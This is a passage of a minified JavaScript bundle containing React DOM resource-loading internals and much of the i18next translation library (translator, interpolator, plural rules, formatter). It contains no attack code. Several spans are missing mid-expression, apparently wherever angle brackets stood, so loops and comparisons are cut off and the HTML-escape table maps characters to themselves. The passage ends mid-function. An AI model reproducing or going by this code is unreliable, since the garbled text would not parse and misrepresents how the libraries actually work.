o.type==="stylesheet"&&(o.state.loading&4)===0&&(d=o.instance,o.state.loading|=4,Ef(d,s.precedence,a));return o.instance}function Ef(a,o,s){for(var d=s.querySelectorAll('link[rel="stylesheet"][data-precedence],style[data-precedence]'),g=d.length?d[d.length-1]:null,b=g,C=0;C title"):null)}function p$(a,o,s){if(s===1||o.itemProp!=null)return!1;switch(a){case"meta":case"title":return!0;case"style":if(typeof o.precedence!="string"||typeof o.href!="string"||o.href==="")break;return!0;case"link":if(typeof o.rel!="string"||typeof o.href!="string"||o.href===""||o.onLoad||o.onError)break;return o.rel==="stylesheet"?(a=o.disabled,typeof o.precedence=="string"&&a==null):!0;case"script":if(o.async&&typeof o.async!="function"&&typeof o.async!="symbol"&&!o.onLoad&&!o.onError&&o.src&&typeof o.src=="string")return!0}return!1}function WE(a){return!(a.type==="stylesheet"&&(a.state.loading&3)===0)}function m$(a,o,s,d){if(s.type==="stylesheet"&&(typeof d.media!="string"||matchMedia(d.media).matches!==!1)&&(s.state.loading&4)===0){if(s.instance===null){var g=fl(d.href),b=o.querySelector(Gs(g));if(b){o=b._p,o!==null&&typeof o=="object"&&typeof o.then=="function"&&(a.count++,a=Cf.bind(a),o.then(a,a)),s.state.loading|=4,s.instance=b,$t(b);return}b=o.ownerDocument||o,d=VE(d),(g=tr.get(g))&&Zv(d,g),b=b.createElement("link"),$t(b);var C=b;C._p=new Promise(function(N,k){C.onload=N,C.onerror=k}),Zt(b,"link",d),s.instance=b}a.stylesheets===null&&(a.stylesheets=new Map),a.stylesheets.set(s,o),(o=s.state.preload)&&(s.state.loading&3)===0&&(a.count++,s=Cf.bind(a),o.addEventListener("load",s),o.addEventListener("error",s))}}var Jv=0;function v$(a,o){return a.stylesheets&&a.count===0&&Tf(a,a.stylesheets),0Jv?50:800)+o);return a.unsuspend=s,function(){a.unsuspend=null,clearTimeout(d),clearTimeout(g)}}:null}function Cf(){if(this.count--,this.count===0&&(this.imgCount===0||!this.waitingForImages)){if(this.stylesheets)Tf(this,this.stylesheets);else if(this.unsuspend){var a=this.unsuspend;this.unsuspend=null,a()}}}var _f=null;function Tf(a,o){a.stylesheets=null,a.unsuspend!==null&&(a.count++,_f=new Map,o.forEach(g$,a),_f=null,Cf.call(a))}function g$(a,o){if(!(o.state.loading&4)){var s=_f.get(a);if(s)var d=s.get(null);else{s=new Map,_f.set(a,s);for(var g=a.querySelectorAll("link[data-precedence],style[data-precedence]"),b=0;b"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(e)}catch(t){console.error(t)}}return e(),sg.exports=R$(),sg.exports}var k$=D$();const Te=e=>typeof e=="string",nc=()=>{let e,t;const n=new Promise((r,i)=>{e=r,t=i});return n.resolve=e,n.reject=t,n},bA=e=>e==null?"":""+e,L$=(e,t,n)=>{e.forEach(r=>{t[r]&&(n[r]=t[r])})},I$=/###/g,xA=e=>e&&e.indexOf("###")>-1?e.replace(I$,"."):e,wA=e=>!e||Te(e),gc=(e,t,n)=>{const r=Te(t)?t.split("."):t;let i=0;for(;i{const{obj:r,k:i}=gc(e,t,Object);if(r!==void 0||t.length===1){r[i]=n;return}let l=t[t.length-1],c=t.slice(0,t.length-1),u=gc(e,c,Object);for(;u.obj===void 0&&c.length;)l=`${c[c.length-1]}.${l}`,c=c.slice(0,c.length-1),u=gc(e,c,Object),u?.obj&&typeof u.obj[`${u.k}.${l}`]<"u"&&(u.obj=void 0);u.obj[`${u.k}.${l}`]=n},z$=(e,t,n,r)=>{const{obj:i,k:l}=gc(e,t,Object);i[l]=i[l]||[],i[l].push(n)},gd=(e,t)=>{const{obj:n,k:r}=gc(e,t);if(n&&Object.prototype.hasOwnProperty.call(n,r))return n[r]},$$=(e,t,n)=>{const r=gd(e,n);return r!==void 0?r:gd(t,n)},cM=(e,t,n)=>{for(const r in t)r!=="__proto__"&&r!=="constructor"&&(r in e?Te(e[r])||e[r]instanceof String||Te(t[r])||t[r]instanceof String?n&&(e[r]=t[r]):cM(e[r],t[r],n):e[r]=t[r]);return e},pl=e=>e.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,"\\$&");var B$={"&":"&","<":"<",">":">",'"':""","'":"'","/":"/"};const U$=e=>Te(e)?e.replace(/[&<>"'\/]/g,t=>B$[t]):e;class H${constructor(t){this.capacity=t,this.regExpMap=new Map,this.regExpQueue=[]}getRegExp(t){const n=this.regExpMap.get(t);if(n!==void 0)return n;const r=new RegExp(t);return this.regExpQueue.length===this.capacity&&this.regExpMap.delete(this.regExpQueue.shift()),this.regExpMap.set(t,r),this.regExpQueue.push(t),r}}const q$=[" ",",","?","!",";"],F$=new H$(20),V$=(e,t,n)=>{t=t||"",n=n||"";const r=q$.filter(c=>t.indexOf(c)<0&&n.indexOf(c)<0);if(r.length===0)return!0;const i=F$.getRegExp(`(${r.map(c=>c==="?"?"\\?":c).join("|")})`);let l=!i.test(e);if(!l){const c=e.indexOf(n);c>0&&!i.test(e.substring(0,c))&&(l=!0)}return l},a0=(e,t,n=".")=>{if(!e)return;if(e[t])return Object.prototype.hasOwnProperty.call(e,t)?e[t]:void 0;const r=t.split(n);let i=e;for(let l=0;l-1&&fe?.replace("_","-"),K$={type:"logger",log(e){this.output("log",e)},warn(e){this.output("warn",e)},error(e){this.output("error",e)},output(e,t){console?.[e]?.apply?.(console,t)}};class yd{constructor(t,n={}){this.init(t,n)}init(t,n={}){this.prefix=n.prefix||"i18next:",this.logger=t||K$,this.options=n,this.debug=n.debug}log(...t){return this.forward(t,"log","",!0)}warn(...t){return this.forward(t,"warn","",!0)}error(...t){return this.forward(t,"error","")}deprecate(...t){return this.forward(t,"warn","WARNING DEPRECATED: ",!0)}forward(t,n,r,i){return i&&!this.debug?null:(Te(t[0])&&(t[0]=`${r}${this.prefix} ${t[0]}`),this.logger[n](t))}create(t){return new yd(this.logger,{prefix:`${this.prefix}:${t}:`,...this.options})}clone(t){return t=t||this.options,t.prefix=t.prefix||this.prefix,new yd(this.logger,t)}}var kr=new yd;let Ah=class{constructor(){this.observers={}}on(t,n){return t.split(" ").forEach(r=>{this.observers[r]||(this.observers[r]=new Map);const i=this.observers[r].get(n)||0;this.observers[r].set(n,i+1)}),this}off(t,n){if(this.observers[t]){if(!n){delete this.observers[t];return}this.observers[t].delete(n)}}emit(t,...n){this.observers[t]&&Array.from(this.observers[t].entries()).forEach(([i,l])=>{for(let c=0;c{for(let c=0;c-1&&this.options.ns.splice(n,1)}getResource(t,n,r,i={}){const l=i.keySeparator!==void 0?i.keySeparator:this.options.keySeparator,c=i.ignoreJSONStructure!==void 0?i.ignoreJSONStructure:this.options.ignoreJSONStructure;let u;t.indexOf(".")>-1?u=t.split("."):(u=[t,n],r&&(Array.isArray(r)?u.push(...r):Te(r)&&l?u.push(...r.split(l)):u.push(r)));const f=gd(this.data,u);return!f&&!n&&!r&&t.indexOf(".")>-1&&(t=u[0],n=u[1],r=u.slice(2).join(".")),f||!c||!Te(r)?f:a0(this.data?.[t]?.[n],r,l)}addResource(t,n,r,i,l={silent:!1}){const c=l.keySeparator!==void 0?l.keySeparator:this.options.keySeparator;let u=[t,n];r&&(u=u.concat(c?r.split(c):r)),t.indexOf(".")>-1&&(u=t.split("."),i=n,n=u[1]),this.addNamespaces(n),SA(this.data,u,i),l.silent||this.emit("added",t,n,r,i)}addResources(t,n,r,i={silent:!1}){for(const l in r)(Te(r[l])||Array.isArray(r[l]))&&this.addResource(t,n,l,r[l],{silent:!0});i.silent||this.emit("added",t,n,r)}addResourceBundle(t,n,r,i,l,c={silent:!1,skipCopy:!1}){let u=[t,n];t.indexOf(".")>-1&&(u=t.split("."),i=r,r=n,n=u[1]),this.addNamespaces(n);let f=gd(this.data,u)||{};c.skipCopy||(r=JSON.parse(JSON.stringify(r))),i?cM(f,r,l):f={...f,...r},SA(this.data,u,f),c.silent||this.emit("added",t,n,r)}removeResourceBundle(t,n){this.hasResourceBundle(t,n)&&delete this.data[t][n],this.removeNamespaces(n),this.emit("removed",t,n)}hasResourceBundle(t,n){return this.getResource(t,n)!==void 0}getResourceBundle(t,n){return n||(n=this.options.defaultNS),this.getResource(t,n)}getDataByLanguage(t){return this.data[t]}hasLanguageSomeTranslations(t){const n=this.getDataByLanguage(t);return!!(n&&Object.keys(n)||[]).find(i=>n[i]&&Object.keys(n[i]).length>0)}toJSON(){return this.data}}var uM={processors:{},addPostProcessor(e){this.processors[e.name]=e},handle(e,t,n,r,i){return e.forEach(l=>{t=this.processors[l]?.process(t,n,r,i)??t}),t}};const fM=Symbol("i18next/PATH_KEY");function Y$(){const e=[],t=Object.create(null);let n;return t.get=(r,i)=>(n?.revoke?.(),i===fM?e:(e.push(i),n=Proxy.revocable(r,t),n.proxy)),Proxy.revocable(Object.create(null),t).proxy}function i0(e,t){const{[fM]:n}=e(Y$());return n.join(t?.keySeparator??".")}const EA={},dg=e=>!Te(e)&&typeof e!="boolean"&&typeof e!="number";class bd extends Ah{constructor(t,n={}){super(),L$(["resourceStore","languageUtils","pluralResolver","interpolator","backendConnector","i18nFormat","utils"],t,this),this.options=n,this.options.keySeparator===void 0&&(this.options.keySeparator="."),this.logger=kr.create("translator")}changeLanguage(t){t&&(this.language=t)}exists(t,n={interpolation:{}}){const r={...n};if(t==null)return!1;const i=this.resolve(t,r);if(i?.res===void 0)return!1;const l=dg(i.res);return!(r.returnObjects===!1&&l)}extractFromKey(t,n){let r=n.nsSeparator!==void 0?n.nsSeparator:this.options.nsSeparator;r===void 0&&(r=":");const i=n.keySeparator!==void 0?n.keySeparator:this.options.keySeparator;let l=n.ns||this.options.defaultNS||[];const c=r&&t.indexOf(r)>-1,u=!this.options.userDefinedKeySeparator&&!n.keySeparator&&!this.options.userDefinedNsSeparator&&!n.nsSeparator&&!V$(t,r,i);if(c&&!u){const f=t.match(this.interpolator.nestingRegexp);if(f&&f.length>0)return{key:t,namespaces:Te(l)?[l]:l};const h=t.split(r);(r!==i||r===i&&this.options.ns.indexOf(h[0])>-1)&&(l=h.shift()),t=h.join(i)}return{key:t,namespaces:Te(l)?[l]:l}}translate(t,n,r){let i=typeof n=="object"?{...n}:n;if(typeof i!="object"&&this.options.overloadTranslationOptionHandler&&(i=this.options.overloadTranslationOptionHandler(arguments)),typeof i=="object"&&(i={...i}),i||(i={}),t==null)return"";typeof t=="function"&&(t=i0(t,{...this.options,...i})),Array.isArray(t)||(t=[String(t)]);const l=i.returnDetails!==void 0?i.returnDetails:this.options.returnDetails,c=i.keySeparator!==void 0?i.keySeparator:this.options.keySeparator,{key:u,namespaces:f}=this.extractFromKey(t[t.length-1],i),h=f[f.length-1];let p=i.nsSeparator!==void 0?i.nsSeparator:this.options.nsSeparator;p===void 0&&(p=":");const m=i.lng||this.language,y=i.appendNamespaceToCIMode||this.options.appendNamespaceToCIMode;if(m?.toLowerCase()==="cimode")return y?l?{res:`${h}${p}${u}`,usedKey:u,exactUsedKey:u,usedLng:m,usedNS:h,usedParams:this.getUsedParamsDetails(i)}:`${h}${p}${u}`:l?{res:u,usedKey:u,exactUsedKey:u,usedLng:m,usedNS:h,usedParams:this.getUsedParamsDetails(i)}:u;const x=this.resolve(t,i);let S=x?.res;const w=x?.usedKey||u,O=x?.exactUsedKey||u,A=["[object Number]","[object Function]","[object RegExp]"],_=i.joinArrays!==void 0?i.joinArrays:this.options.joinArrays,T=!this.i18nFormat||this.i18nFormat.handleAsObject,j=i.count!==void 0&&!Te(i.count),M=bd.hasDefaultValue(i),P=j?this.pluralResolver.getSuffix(m,i.count,i):"",R=i.ordinal&&j?this.pluralResolver.getSuffix(m,i.count,{ordinal:!1}):"",I=j&&!i.ordinal&&i.count===0,B=I&&i[`defaultValue${this.options.pluralSeparator}zero`]||i[`defaultValue${P}`]||i[`defaultValue${R}`]||i.defaultValue;let q=S;T&&!S&&M&&(q=B);const U=dg(q),V=Object.prototype.toString.apply(q);if(T&&q&&U&&A.indexOf(V)<0&&!(Te(_)&&Array.isArray(q))){if(!i.returnObjects&&!this.options.returnObjects){this.options.returnedObjectHandler||this.logger.warn("accessing an object - but returnObjects options is not enabled!");const oe=this.options.returnedObjectHandler?this.options.returnedObjectHandler(w,q,{...i,ns:f}):`key '${u} (${this.language})' returned an object instead of string.`;return l?(x.res=oe,x.usedParams=this.getUsedParamsDetails(i),x):oe}if(c){const oe=Array.isArray(q),le=oe?[]:{},ce=oe?O:w;for(const L in q)if(Object.prototype.hasOwnProperty.call(q,L)){const F=`${ce}${c}${L}`;M&&!S?le[L]=this.translate(F,{...i,defaultValue:dg(B)?B[L]:void 0,joinArrays:!1,ns:f}):le[L]=this.translate(F,{...i,joinArrays:!1,ns:f}),le[L]===F&&(le[L]=q[L])}S=le}}else if(T&&Te(_)&&Array.isArray(S))S=S.join(_),S&&(S=this.extendTranslation(S,t,i,r));else{let oe=!1,le=!1;!this.isValidLookup(S)&&M&&(oe=!0,S=B),this.isValidLookup(S)||(le=!0,S=u);const L=(i.missingKeyNoValueFallbackToKey||this.options.missingKeyNoValueFallbackToKey)&&le?void 0:S,F=M&&B!==S&&this.options.updateMissing;if(le||oe||F){if(this.logger.log(F?"updateKey":"missingKey",m,h,u,F?B:S),c){const D=this.resolve(u,{...i,keySeparator:!1});D&&D.res&&this.logger.warn("Seems the loaded translations were in flat JSON format instead of nested. Either set keySeparator: false on init or make sure your translations are published in nested format.")}let $=[];const Z=this.languageUtils.getFallbackCodes(this.options.fallbackLng,i.lng||this.language);if(this.options.saveMissingTo==="fallback"&&Z&&Z[0])for(let D=0;D{const se=M&&ae!==S?ae:L;this.options.missingKeyHandler?this.options.missingKeyHandler(D,h,X,se,F,i):this.backendConnector?.saveMissing&&this.backendConnector.saveMissing(D,h,X,se,F,i),this.emit("missingKey",D,h,X,S)};this.options.saveMissing&&(this.options.saveMissingPlurals&&j?$.forEach(D=>{const X=this.pluralResolver.getSuffixes(D,i);I&&i[`defaultValue${this.options.pluralSeparator}zero`]&&X.indexOf(`${this.options.pluralSeparator}zero`)<0&&X.push(`${this.options.pluralSeparator}zero`),X.forEach(ae=>{de([D],u+ae,i[`defaultValue${ae}`]||B)})}):de($,u,B))}S=this.extendTranslation(S,t,i,x,r),le&&S===u&&this.options.appendNamespaceToMissingKey&&(S=`${h}${p}${u}`),(le||oe)&&this.options.parseMissingKeyHandler&&(S=this.options.parseMissingKeyHandler(this.options.appendNamespaceToMissingKey?`${h}${p}${u}`:u,oe?S:void 0,i))}return l?(x.res=S,x.usedParams=this.getUsedParamsDetails(i),x):S}extendTranslation(t,n,r,i,l){if(this.i18nFormat?.parse)t=this.i18nFormat.parse(t,{...this.options.interpolation.defaultVariables,...r},r.lng||this.language||i.usedLng,i.usedNS,i.usedKey,{resolved:i});else if(!r.skipInterpolation){r.interpolation&&this.interpolator.init({...r,interpolation:{...this.options.interpolation,...r.interpolation}});const f=Te(t)&&(r?.interpolation?.skipOnVariables!==void 0?r.interpolation.skipOnVariables:this.options.interpolation.skipOnVariables);let h;if(f){const m=t.match(this.interpolator.nestingRegexp);h=m&&m.length}let p=r.replace&&!Te(r.replace)?r.replace:r;if(this.options.interpolation.defaultVariables&&(p={...this.options.interpolation.defaultVariables,...p}),t=this.interpolator.interpolate(t,p,r.lng||this.language||i.usedLng,r),f){const m=t.match(this.interpolator.nestingRegexp),y=m&&m.length;hl?.[0]===m[0]&&!r.context?(this.logger.warn(`It seems you are nesting recursively key: ${m[0]} in key: ${n[0]}`),null):this.translate(...m,n),r)),r.interpolation&&this.interpolator.reset()}const c=r.postProcess||this.options.postProcess,u=Te(c)?[c]:c;return t!=null&&u?.length&&r.applyPostProcessor!==!1&&(t=uM.handle(u,t,n,this.options&&this.options.postProcessPassResolved?{i18nResolved:{...i,usedParams:this.getUsedParamsDetails(r)},...r}:r,this)),t}resolve(t,n={}){let r,i,l,c,u;return Te(t)&&(t=[t]),t.forEach(f=>{if(this.isValidLookup(r))return;const h=this.extractFromKey(f,n),p=h.key;i=p;let m=h.namespaces;this.options.fallbackNS&&(m=m.concat(this.options.fallbackNS));const y=n.count!==void 0&&!Te(n.count),x=y&&!n.ordinal&&n.count===0,S=n.context!==void 0&&(Te(n.context)||typeof n.context=="number")&&n.context!=="",w=n.lngs?n.lngs:this.languageUtils.toResolveHierarchy(n.lng||this.language,n.fallbackLng);m.forEach(O=>{this.isValidLookup(r)||(u=O,!EA[`${w[0]}-${O}`]&&this.utils?.hasLoadedNamespace&&!this.utils?.hasLoadedNamespace(u)&&(EA[`${w[0]}-${O}`]=!0,this.logger.warn(`key "${i}" for languages "${w.join(", ")}" won't get resolved as namespace "${u}" was not yet loaded`,"This means something IS WRONG in your setup. You access the t function before i18next.init / i18next.loadNamespace / i18next.changeLanguage was done. Wait for the callback or Promise to resolve before accessing it!!!")),w.forEach(A=>{if(this.isValidLookup(r))return;c=A;const _=[p];if(this.i18nFormat?.addLookupKeys)this.i18nFormat.addLookupKeys(_,p,A,O,n);else{let j;y&&(j=this.pluralResolver.getSuffix(A,n.count,n));const M=`${this.options.pluralSeparator}zero`,P=`${this.options.pluralSeparator}ordinal${this.options.pluralSeparator}`;if(y&&(n.ordinal&&j.indexOf(P)===0&&_.push(p+j.replace(P,this.options.pluralSeparator)),_.push(p+j),x&&_.push(p+M)),S){const R=`${p}${this.options.contextSeparator||"_"}${n.context}`;_.push(R),y&&(n.ordinal&&j.indexOf(P)===0&&_.push(R+j.replace(P,this.options.pluralSeparator)),_.push(R+j),x&&_.push(R+M))}}let T;for(;T=_.pop();)this.isValidLookup(r)||(l=T,r=this.getResource(A,O,T,n))}))})}),{res:r,usedKey:i,exactUsedKey:l,usedLng:c,usedNS:u}}isValidLookup(t){return t!==void 0&&!(!this.options.returnNull&&t===null)&&!(!this.options.returnEmptyString&&t==="")}getResource(t,n,r,i={}){return this.i18nFormat?.getResource?this.i18nFormat.getResource(t,n,r,i):this.resourceStore.getResource(t,n,r,i)}getUsedParamsDetails(t={}){const n=["defaultValue","ordinal","context","replace","lng","lngs","fallbackLng","ns","keySeparator","nsSeparator","returnObjects","returnDetails","joinArrays","postProcess","interpolation"],r=t.replace&&!Te(t.replace);let i=r?t.replace:t;if(r&&typeof t.count<"u"&&(i.count=t.count),this.options.interpolation.defaultVariables&&(i={...this.options.interpolation.defaultVariables,...i}),!r){i={...i};for(const l of n)delete i[l]}return i}static hasDefaultValue(t){const n="defaultValue";for(const r in t)if(Object.prototype.hasOwnProperty.call(t,r)&&n===r.substring(0,n.length)&&t[r]!==void 0)return!0;return!1}}class AA{constructor(t){this.options=t,this.supportedLngs=this.options.supportedLngs||!1,this.logger=kr.create("languageUtils")}getScriptPartFromCode(t){if(t=xc(t),!t||t.indexOf("-")<0)return null;const n=t.split("-");return n.length===2||(n.pop(),n[n.length-1].toLowerCase()==="x")?null:this.formatLanguageCode(n.join("-"))}getLanguagePartFromCode(t){if(t=xc(t),!t||t.indexOf("-")<0)return t;const n=t.split("-");return this.formatLanguageCode(n[0])}formatLanguageCode(t){if(Te(t)&&t.indexOf("-")>-1){let n;try{n=Intl.getCanonicalLocales(t)[0]}catch{}return n&&this.options.lowerCaseLng&&(n=n.toLowerCase()),n||(this.options.lowerCaseLng?t.toLowerCase():t)}return this.options.cleanCode||this.options.lowerCaseLng?t.toLowerCase():t}isSupportedCode(t){return(this.options.load==="languageOnly"||this.options.nonExplicitSupportedLngs)&&(t=this.getLanguagePartFromCode(t)),!this.supportedLngs||!this.supportedLngs.length||this.supportedLngs.indexOf(t)>-1}getBestMatchFromCodes(t){if(!t)return null;let n;return t.forEach(r=>{if(n)return;const i=this.formatLanguageCode(r);(!this.options.supportedLngs||this.isSupportedCode(i))&&(n=i)}),!n&&this.options.supportedLngs&&t.forEach(r=>{if(n)return;const i=this.getScriptPartFromCode(r);if(this.isSupportedCode(i))return n=i;const l=this.getLanguagePartFromCode(r);if(this.isSupportedCode(l))return n=l;n=this.options.supportedLngs.find(c=>{if(c===l)return c;if(!(c.indexOf("-")<0&&l.indexOf("-")<0)&&(c.indexOf("-")>0&&l.indexOf("-")<0&&c.substring(0,c.indexOf("-"))===l||c.indexOf(l)===0&&l.length>1))return c})}),n||(n=this.getFallbackCodes(this.options.fallbackLng)[0]),n}getFallbackCodes(t,n){if(!t)return[];if(typeof t=="function"&&(t=t(n)),Te(t)&&(t=[t]),Array.isArray(t))return t;if(!n)return t.default||[];let r=t[n];return r||(r=t[this.getScriptPartFromCode(n)]),r||(r=t[this.formatLanguageCode(n)]),r||(r=t[this.getLanguagePartFromCode(n)]),r||(r=t.default),r||[]}toResolveHierarchy(t,n){const r=this.getFallbackCodes((n===!1?[]:n)||this.options.fallbackLng||[],t),i=[],l=c=>{c&&(this.isSupportedCode(c)?i.push(c):this.logger.warn(`rejecting language code not found in supportedLngs: ${c}`))};return Te(t)&&(t.indexOf("-")>-1||t.indexOf("_")>-1)?(this.options.load!=="languageOnly"&&l(this.formatLanguageCode(t)),this.options.load!=="languageOnly"&&this.options.load!=="currentOnly"&&l(this.getScriptPartFromCode(t)),this.options.load!=="currentOnly"&&l(this.getLanguagePartFromCode(t))):Te(t)&&l(this.formatLanguageCode(t)),r.forEach(c=>{i.indexOf(c)<0&&l(this.formatLanguageCode(c))}),i}}const CA={zero:0,one:1,two:2,few:3,many:4,other:5},_A={select:e=>e===1?"one":"other",resolvedOptions:()=>({pluralCategories:["one","other"]})};class G${constructor(t,n={}){this.languageUtils=t,this.options=n,this.logger=kr.create("pluralResolver"),this.pluralRulesCache={}}addRule(t,n){this.rules[t]=n}clearCache(){this.pluralRulesCache={}}getRule(t,n={}){const r=xc(t==="dev"?"en":t),i=n.ordinal?"ordinal":"cardinal",l=JSON.stringify({cleanedCode:r,type:i});if(l in this.pluralRulesCache)return this.pluralRulesCache[l];let c;try{c=new Intl.PluralRules(r,{type:i})}catch{if(!Intl)return this.logger.error("No Intl support, please use an Intl polyfill!"),_A;if(!t.match(/-|_/))return _A;const f=this.languageUtils.getLanguagePartFromCode(t);c=this.getRule(f,n)}return this.pluralRulesCache[l]=c,c}needsPlural(t,n={}){let r=this.getRule(t,n);return r||(r=this.getRule("dev",n)),r?.resolvedOptions().pluralCategories.length>1}getPluralFormsOfKey(t,n,r={}){return this.getSuffixes(t,r).map(i=>`${n}${i}`)}getSuffixes(t,n={}){let r=this.getRule(t,n);return r||(r=this.getRule("dev",n)),r?r.resolvedOptions().pluralCategories.sort((i,l)=>CA[i]-CA[l]).map(i=>`${this.options.prepend}${n.ordinal?`ordinal${this.options.prepend}`:""}${i}`):[]}getSuffix(t,n,r={}){const i=this.getRule(t,r);return i?`${this.options.prepend}${r.ordinal?`ordinal${this.options.prepend}`:""}${i.select(n)}`:(this.logger.warn(`no plural rule found for: ${t}`),this.getSuffix("dev",n,r))}}const TA=(e,t,n,r=".",i=!0)=>{let l=$$(e,t,n);return!l&&i&&Te(n)&&(l=a0(e,n,r),l===void 0&&(l=a0(t,n,r))),l},hg=e=>e.replace(/\$/g,"$$$$");class NA{constructor(t={}){this.logger=kr.create("interpolator"),this.options=t,this.format=t?.interpolation?.format||(n=>n),this.init(t)}init(t={}){t.interpolation||(t.interpolation={escapeValue:!0});const{escape:n,escapeValue:r,useRawValueToEscape:i,prefix:l,prefixEscaped:c,suffix:u,suffixEscaped:f,formatSeparator:h,unescapeSuffix:p,unescapePrefix:m,nestingPrefix:y,nestingPrefixEscaped:x,nestingSuffix:S,nestingSuffixEscaped:w,nestingOptionsSeparator:O,maxReplaces:A,alwaysFormat:_}=t.interpolation;this.escape=n!==void 0?n:U$,this.escapeValue=r!==void 0?r:!0,this.useRawValueToEscape=i!==void 0?i:!1,this.prefix=l?pl(l):c||"{{",this.suffix=u?pl(u):f||"}}",this.formatSeparator=h||",",this.unescapePrefix=p?"":m||"-",this.unescapeSuffix=this.unescapePrefix?"":p||"",this.nestingPrefix=y?pl(y):x||pl("$t("),this.nestingSuffix=S?pl(S):w||pl(")"),this.nestingOptionsSeparator=O||",",this.maxReplaces=A||1e3,this.alwaysFormat=_!==void 0?_:!1,this.resetRegExp()}reset(){this.options&&this.init(this.options)}resetRegExp(){const t=(n,r)=>n?.source===r?(n.lastIndex=0,n):new RegExp(r,"g");this.regexp=t(this.regexp,`${this.prefix}(.+?)${this.suffix}`),this.regexpUnescape=t(this.regexpUnescape,`${this.prefix}${this.unescapePrefix}(.+?)${this.unescapeSuffix}${this.suffix}`),this.nestingRegexp=t(this.nestingRegexp,`${this.nestingPrefix}((?:[^()"']+|"[^"]*"|'[^']*'|\\((?:[^()]|"[^"]*"|'[^']*')*\\))*?)${this.nestingSuffix}`)}interpolate(t,n,r,i){let l,c,u;const f=this.options&&this.options.interpolation&&this.options.interpolation.defaultVariables||{},h=x=>{if(x.indexOf(this.formatSeparator)<0){const A=TA(n,f,x,this.options.keySeparator,this.options.ignoreJSONStructure);return this.alwaysFormat?this.format(A,void 0,r,{...i,...n,interpolationkey:x}):A}const S=x.split(this.formatSeparator),w=S.shift().trim(),O=S.join(this.formatSeparator).trim();return this.format(TA(n,f,w,this.options.keySeparator,this.options.ignoreJSONStructure),O,r,{...i,...n,interpolationkey:w})};this.resetRegExp();const p=i?.missingInterpolationHandler||this.options.missingInterpolationHandler,m=i?.interpolation?.skipOnVariables!==void 0?i.interpolation.skipOnVariables:this.options.interpolation.skipOnVariables;return[{regex:this.regexpUnescape,safeValue:x=>hg(x)},{regex:this.regexp,safeValue:x=>this.escapeValue?hg(this.escape(x)):hg(x)}].forEach(x=>{for(u=0;l=x.regex.exec(t);){const S=l[1].trim();if(c=h(S),c===void 0)if(typeof p=="function"){const O=p(t,l,i);c=Te(O)?O:""}else if(i&&Object.prototype.hasOwnProperty.call(i,S))c="";else if(m){c=l[0];continue}else this.logger.warn(`missed to pass in variable ${S} for interpolating ${t}`),c="";else!Te(c)&&!this.useRawValueToEscape&&(c=bA(c));const w=x.safeValue(c);if(t=t.replace(l[0],w),m?(x.regex.lastIndex+=c.length,x.regex.lastIndex-=l[0].length):x.regex.lastIndex=0,u++,u>=this.maxReplaces)break}}),t}nest(t,n,r={}){let i,l,c;const u=(f,h)=>{const p=this.nestingOptionsSeparator;if(f.indexOf(p)<0)return f;const m=f.split(new RegExp(`${p}[ ]*{`));let y=`{${m[1]}`;f=m[0],y=this.interpolate(y,c);const x=y.match(/'/g),S=y.match(/"/g);((x?.length??0)%2===0&&!S||S.length%2!==0)&&(y=y.replace(/'/g,'"'));try{c=JSON.parse(y),h&&(c={...h,...c})}catch(w){return this.logger.warn(`failed parsing options string in nesting for key ${f}`,w),`${f}${p}${y}`}return c.defaultValue&&c.defaultValue.indexOf(this.prefix)>-1&&delete c.defaultValue,f};for(;i=this.nestingRegexp.exec(t);){let f=[];c={...r},c=c.replace&&!Te(c.replace)?c.replace:c,c.applyPostProcessor=!1,delete c.defaultValue;const h=/{.*}/.test(i[1])?i[1].lastIndexOf("}")+1:i[1].indexOf(this.formatSeparator);if(h!==-1&&(f=i[1].slice(h).split(this.formatSeparator).map(p=>p.trim()).filter(Boolean),i[1]=i[1].slice(0,h)),l=n(u.call(this,i[1].trim(),c),c),l&&i[0]===t&&!Te(l))return l;Te(l)||(l=bA(l)),l||(this.logger.warn(`missed to resolve ${i[1]} for nesting ${t}`),l=""),f.length&&(l=f.reduce((p,m)=>this.format(p,m,r.lng,{...r,interpolationkey:i[1].trim()}),l.trim())),t=t.replace(i[0],l),this.regexp.lastIndex=0}return t}}const W$=e=>{let t=e.toLowerCase().trim();const n={};if(e.indexOf("(")>-1){const r=e.split("(");t=r[0].toLowerCase().trim();const i=r[1].substring(0,r[1].length-1);t==="currency"&&i.indexOf(":")<0?n.currency||(n.currency=i.trim()):t==="relativetime"&&i.indexOf(":")<0?n.range||(n.range=i.trim()):i.split(";").forEach(c=>{if(c){const[u,...f]=c.split(":"),h=f.join(":").trim().replace(/^'+|'+$/g,""),p=u.trim();n[p]||(n[p]=h),h==="false"&&(n[p]=!1),h==="true"&&(n[p]=!0),isNaN(h)||(n[p]=parseInt(h,10))}})}return{formatName:t,formatOptions:n}},MA=e=>{const t={};return(n,r,i)=>{let l=i;i&&i.interpolationkey&&i.formatParams&&i.formatParams[i.interpolationkey]&&i[i.interpolationkey]&&(l={...l,[i.interpolationkey]:void 0});const c=r+JSON.stringify(l);let u=t[c];return u||(u=e(xc(r),i),t[c]=u),u(n)}},X$=e=>(t,n,r)=>e(xc(n),r)(t);class Z${constructor(t={}){this.logger=kr.create("formatter"),this.options=t,this.init(t)}init(t,n={interpolation:{}}){this.formatSeparator=n.interpolation.formatSeparator||",";const r=n.cacheInBuiltFormats?MA:X$;this.formats={number:r((i,l)=>{const c=new Intl.NumberFormat(i,{...l});return u=>c.format(u)}),currency:r((i,l)=>{const c=new Intl.NumberFormat(i,{...l,style:"currency"});return u=>c.format(u)}),datetime:r((i,l)=>{const c=new Intl.DateTimeFormat(i,{...l});return u=>c.format(u)}),relativetime:r((i,l)=>{const c=new Intl.RelativeTimeFormat(i,{...l});return u=>c.format(u,l.range||"day")}),list:r((i,l)=>{const c=new Intl.ListFormat(i,{...l});return u=>c.format(u)})}}add(t,n){this.formats[t.toLowerCase().trim()]=n}addCached(t,n){this.formats[t.toLowerCase().trim()]=MA(n)}format(t,n,r,i={}){const l=n.split(this.formatSeparator);if(l.length>1&&l[0].indexOf("(")>1&&l[0].indexOf(")")<0&&l.find(u=>u.indexOf(")")>-1)){const u=l.findIndex(f=>f.indexOf(")")>-1);l[0]=[l[0],...l.splice(1,u)].join(this.formatSeparator)}return l.reduce((u,f)=>{const{formatName:h,formatOptions:p}=W$(f);if(this.formats[h]){let m=u;try{const 